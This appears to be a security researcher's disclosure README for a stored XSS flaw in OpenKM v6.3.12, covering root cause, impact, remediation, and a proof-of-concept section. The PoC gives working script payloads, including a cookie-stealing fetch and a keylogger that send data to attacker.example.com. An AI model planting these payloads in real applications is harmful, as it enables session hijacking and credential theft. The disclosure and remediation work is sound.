🛡️ CVE-2026-30503 — Stored XSS in OpenKM v6.3.12

---

📌 Table of Contents

• Overview
• CVE Details
• Affected Product
• Vulnerability Description
• Root Cause Analysis
• Impact & Risk Assessment
• Proof of Concept (PoC)
• Remediation & Recommendations
• Disclosure Timeline
• References
• About the Researcher

---

🔍 Overview

This repository documents the responsible disclosure of CVE-2026-30503, a Stored Cross-Site Scripting (XSS) vulnerability identified in OpenKM v6.3.12 — an open-source document management system widely used across enterprise environments.

The vulnerability allows an authenticated attacker to inject persistent malicious JavaScript into the application, which executes in the browser context of any user (including administrators) who subsequently views the affected content.

⚠️ Severity: High | Attack Vector: Network | Privileges Required: Low | User Interaction: Required

---

📋 CVE Details

Field	Details
CVE ID	CVE-2026-30503
Product	OpenKM
Affected Version	v6.3.12
Vulnerability Class	Stored Cross-Site Scripting (XSS)
CWE	CWE-79: Improper Neutralization of Input During Web Page Generation
CVSS Vector	CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N
Researcher	Dharmendra Kumar
Disclosure Type	Responsible / Coordinated

---

📦 Affected Product

OpenKM is a free and open-source document management system (DMS) that provides a web interface for managing, auditing, and distributing business documents. It is used by enterprises, government bodies, and educational institutions globally.

• Product Name: OpenKM Document Management System
• Affected Version: v6.3.12
• Vendor Website: https://www.openkm.com
• Category: Document Management System (DMS)
• Language/Stack: Java (JSP/Spring)

---

🧨 Vulnerability Description

Multiple Stored Cross-Site Scripting (XSS) vulnerabilities were discovered in OpenKM v6.3.12. An attacker with low-privileged authenticated access can inject arbitrary JavaScript payloads into one or more input fields. These payloads are permanently stored in the application's backend and automatically executed whenever any user — including administrators — accesses the affected page or component.

Unlike Reflected XSS, which requires the victim to click a crafted link, Stored XSS payloads are embedded in the application itself, making them significantly more dangerous and persistent.

Vulnerable Endpoint(s)

• User-controlled input fields within document metadata, notes, or naming fields
• The application fails to sanitize or encode user input before rendering it back to the browser

---

🔬 Root Cause Analysis

The vulnerability stems from three compounding weaknesses in the application's input handling pipeline:

User Input ──► [NO Validation] ──► Stored in DB ──► [NO Output Encoding] ──► Rendered in Browser ──► XSS Executed

Weakness	Description
❌ Missing Input Validation	Application does not restrict or sanitize special characters (<, >, ", ', ;) in user-supplied fields
❌ Missing Output Encoding	Stored values are rendered directly into HTML without HTML-entity encoding
❌ Unsafe DOM Rendering	User-supplied data is embedded in the DOM context without CSP or sanitization controls

---

💥 Impact & Risk Assessment

A successful exploitation of this vulnerability can lead to:

Risk	Description
🍪 Session Hijacking	Steal authenticated session tokens via document.cookie exfiltration
👤 Account Takeover	Compromise victim accounts, including administrator accounts
🔐 Credential Harvesting	Inject phishing forms to capture login credentials
📤 Data Exfiltration	Silently extract sensitive documents or metadata from the DMS
⚙️ Unauthorized Actions	Perform privileged operations on behalf of the victim (delete/modify documents)
🎯 Admin Targeting	Payload executes in the admin panel when an administrator reviews content
🔄 Worm Propagation	Self-replicating XSS payload can spread across users

---

🧪 Proof of Concept (PoC)

⚠️ Disclaimer: This PoC is shared strictly for educational and security research purposes under responsible disclosure principles. Do not use this against systems you do not own or have explicit written permission to test.

Payload Example (Generic)

// Basic PoC — demonstrates script execution
<script>alert('CVE-2026-30503 - XSS by Dharmendra Kumar')</script>

// Session token exfiltration
<script>fetch('https://attacker.example.com/steal?c='+document.cookie)</script>

// Keylogger injection
<script>document.onkeypress=function(e){fetch('https://attacker.example.com/log?k='+e.key)}</script>

Steps to Reproduce

1. Log in to OpenKM v6.3.12 with a low-privileged authenticated account
2. Navigate to the vulnerable input field (e.g., document metadata / notes / title field)
3. Inject an XSS payload such as <script>alert(document.cookie)</script>
4. Save / submit the entry
5. Log in as a different user (or administrator) and navigate to the affected resource
6. Observe the JavaScript payload executing in the victim's browser context

---

🛠️ Remediation & Recommendations

For Developers / Vendors

Recommendation	Implementation
✅ Input Validation	Whitelist allowed characters; reject or strip HTML special characters on all user inputs
✅ Output Encoding	Use context-aware HTML encoding (e.g., OWASP Java Encoder) before rendering data to HTML
✅ Content Security Policy (CSP)	Implement a strict CSP header: Content-Security-Policy: script-src 'self'
✅ HTTPOnly & Secure Cookies	Set HttpOnly and Secure flags on all session cookies to prevent JS access
✅ Use Security Libraries	Integrate OWASP AntiSamy or DOMPurify for HTML sanitization
✅ Security Code Review	Audit all render paths for unsanitized user-controlled data
✅ Upgrade	Apply the latest vendor-supplied patch or upgrade to a patched version

For System Administrators

• 🔒 Restrict access to the OpenKM instance to trusted networks only
• 📊 Monitor application logs for unusual activity or unexpected script tags in input fields
• 🔄 Keep the application updated to the latest patched release
• 🧩 Deploy a Web Application Firewall (WAF) with XSS detection rules as a compensating control

---

📅 Disclosure Timeline